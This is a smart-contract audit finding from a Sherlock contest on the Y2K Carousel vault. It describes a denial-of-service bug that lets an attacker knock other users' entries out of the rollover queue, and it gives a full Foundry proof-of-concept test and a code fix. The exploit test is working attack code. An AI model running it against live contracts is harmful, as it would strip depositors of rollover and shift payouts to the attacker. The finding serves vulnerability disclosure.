toshii - Attacker can actively perform denial of service, by selectively preventing depositors from entering rollover queue

[sherlock-admin]

toshii

medium

Attacker can actively perform denial of service, by selectively preventing depositors from entering rollover queue

Summary

An attacker can actively perform denial of service, by selectively preventing depositors from entering rollover queue. Attacker will benefit by reducing the amount of funds deposited in the vault they are also deposited in, giving them a larger share of potential premiums/collateral.

Vulnerability Detail

An attacker who is deposited in either the collateral vault or the premium vault is able to perform a denial of service attack on the rollover queue, allowing them to actively remove users who are trying to enter the queue (through calling enlistInRollover(..) on the Carousel contract). This will prevent any users from entering the rollover queue, and worse yet, those users will have no way of knowing that their funds will not be deposited into the next epoch. The attacker is financially incentivized to prevent users from entering the rollover queue for the vault type (premium or collateral) that they are depositing in, because that will result in their own deposits making up a larger portion of the vault, thus they will receive more funds in the event of a payout. This will also cause harm to the depositors in the adjacent vault type, as they will either be getting less insurance or less premiums.

Although the user will still be able to participate in the first epoch (the _epochId they use when calling enlistInRollover(..), as they would have to call deposit(..) prior to calling enlistInRollover(..)), they will be locked out of being rolled over into any future epochs. They will also not notice this behavior unless they are consistently monitoring their position.

Referenced lines of code:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L253-L268

Impact

This is medium severity because the attacker is able to financially benefit while screwing over other users, but is required to actively manage the attack which will cost funds.

Code Snippet

POC including preliminary state and steps (foundry test):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

// project files
import {TokenMock} from "src/my-tests/TokenMock.sol"; // simple ERC20 token w/ minting
import {WETH} from "src/my-tests/WETH.sol"; // WETH mock
import {OracleMock} from "src/my-tests/OracleMock.sol"; // mock oracle

import {Carousel} from "src/v2/Carousel/Carousel.sol";
import {CarouselFactory} from "src/v2/Carousel/CarouselFactory.sol";
import {ControllerPeggedAssetV2} from "src/v2/Controllers/ControllerPeggedAssetV2.sol";

contract TestActiveDOS is Test {
    // protocol users
    address admin = makeAddr('admin'); // project admin
    address attacker = makeAddr('attacker'); // attacker address
    address user1 = makeAddr('user1'); // other user addresses
    address user2 = makeAddr('user2');
    address user3 = makeAddr('user3');

    WETH weth;
    TokenMock emissionsToken;
    OracleMock sequencerFeed;
    OracleMock priceFeed;

    CarouselFactory carouselFactory;
    ControllerPeggedAssetV2 controllerPeggedAssetV2;
    Carousel premiumVault;
    Carousel collateralVault;
    
    uint256 epochId1;
    uint256 epochId2;

    /// configuring starting state for showing bug/exploit
    function setUp() public {
        vm.deal(attacker, 100 ether);
        vm.deal(user1,100 ether);
        vm.deal(user2,100 ether);
        vm.deal(user3,100 ether);

        vm.startPrank(admin); // admin setting up starting project state
        vm.warp(10_000); // to mock that sequencer is up

        weth = new WETH();
        emissionsToken = new TokenMock();
        emissionsToken.mint(admin,10_000e18); // admin is used as treasury

        carouselFactory = new CarouselFactory(
            address(weth),admin,admin,address(emissionsToken)
        );
        emissionsToken.approve(address(carouselFactory),type(uint256).max);

        sequencerFeed = new OracleMock();
        sequencerFeed.setData(1,0,0,0,1); // sequencer is up

        priceFeed = new OracleMock();
        priceFeed.setData(1,1e8,0,0,1); // setting price for asset, decimals=8

        controllerPeggedAssetV2 = new ControllerPeggedAssetV2(
            address(carouselFactory),address(sequencerFeed),admin
        );

        carouselFactory.whitelistController(address(controllerPeggedAssetV2));

        // creating a new market:
        CarouselFactory.CarouselMarketConfigurationCalldata memory config = 
            CarouselFactory.CarouselMarketConfigurationCalldata({
                token: address(1), // arbitrary, just for lookup to oracle
                strike: 99e17,
                oracle: address(priceFeed),
                underlyingAsset: address(weth),
                name: "name",
                tokenURI: "tokenURI",
                controller: address(controllerPeggedAssetV2),
                relayerFee: 10000,
                depositFee: 250
            }
        );

        (address premium, address collateral, uint256 marketId) = carouselFactory.createNewCarouselMarket(config);
        premiumVault = Carousel(premium);
        collateralVault = Carousel(collateral);

        // creating the first two epochs, with the first one beginning and the second one queued:

        (epochId1,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+10), // epochBegin
            uint40(block.timestamp+20), // epochEnd
            100,1_000e18,1_000e18
        );

        vm.warp(block.timestamp+10); // epoch 1 has started

        // 10 timestamp gap between the first epoch and the second epoch
        (epochId2,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+20), // epochBegin
            uint40(block.timestamp+30), // epochEnd
            100,1_000e18,1_000e18
        );

        // first epoch resolved with nullEpoch as there are no deposits
        controllerPeggedAssetV2.triggerNullEpoch(marketId,epochId1);
        vm.stopPrank();
    }

    /// showcasing the bug/exploit
    function testActiveDOS() public {

        // showcasing the ability of any user to prevent any other user from entering rollover queue
        // to perfrom a denial of service, the attacker will always keep one deposit in the rollover queue
        // then, following another user calling enlistInRollover(..), the attacker will call enlistInRollover(..)
        // and then they will call delistInRollover(..) which will remove the other user's queued deposit

        // other user deposits funds into the collateral vault
        vm.prank(user1);
        collateralVault.depositETH{value:1e18}(
            epochId2,user1
        );

        // attacker deposits as soon as the next epoch has been created - in this case the attacker is in the premium vault
        vm.prank(attacker);
        premiumVault.depositETH{value:10000}(
            epochId2,attacker
        );

        // attacker sticks their entry into the rollover queue, priming for attack
        vm.prank(attacker);
        premiumVault.enlistInRollover(
            epochId2,10000,attacker
        );

        // another user attempts to stick their entry into the rollover queue 
        vm.prank(user2);
        premiumVault.depositETH{value:1e18}(
            epochId2,user2
        );
        vm.prank(user2);
        premiumVault.enlistInRollover(
            epochId2,1e18,user2
        );

        // checking that entry was added correctly to rollover queue
        uint256 rolloverLength = premiumVault.getRolloverQueueLenght();
        assertEq(rolloverLength,2);
        (uint256 assets_,address receiver_,uint256 epochId_) = premiumVault.rolloverQueue(1);
        assertEq(assets_,1e18);
        assertEq(receiver_,user2);

        // attacker notices the enlist and forces the user's entry out of the queue
        // the attacker calling enlistInRollover(..) again will grant it access to the user's entry
        vm.prank(attacker);
        premiumVault.enlistInRollover(
            epochId2,10000,attacker
        );
        // with control of the user's entry, the attacker can simply call delistInRollover(..) to remove it
        vm.prank(attacker);
        premiumVault.delistInRollover(
            attacker
        );
        // the attacker can keep continuing this process over and over to prevent anyone from entering the rollover queue

        // showing that the user's entry has been removed from the rollover queue, which they will not know happened
        rolloverLength = premiumVault.getRolloverQueueLenght();
        assertEq(rolloverLength,1); // an item has been removed
        (assets_,receiver_,epochId_) = premiumVault.rolloverQueue(0);
        assertEq(assets_,10000); // remaining item is the attacker's, thus user's item was deleted and cannot be rolled over
        assertEq(receiver_,attacker);
    }

}

Tool used

Manual Review

Recommendation

This attack vector is made possible because the caller of enlistInRollover(..) will always be set to be the owner of the last entry in the rolloverQueue due to the following line of code: ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;. To resolve this issue, the enlistInRollover function should be updated in the following way, moving that line inside the else block only when a new entry is being added to the rolloverQueue:

// check if user has already queued up a rollover
if (ownerToRollOverQueueIndex[_receiver] != 0) {
    // if so, update the queue
    uint256 index = getRolloverIndex(_receiver);
    rolloverQueue[index].assets = _assets;
    rolloverQueue[index].epochId = _epochId;
} else {
    // if not, add to queue
    rolloverQueue.push(
        QueueItem({
            assets: _assets,
            receiver: _receiver,
            epochId: _epochId
        })
    );
    ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
}

Duplicate of #72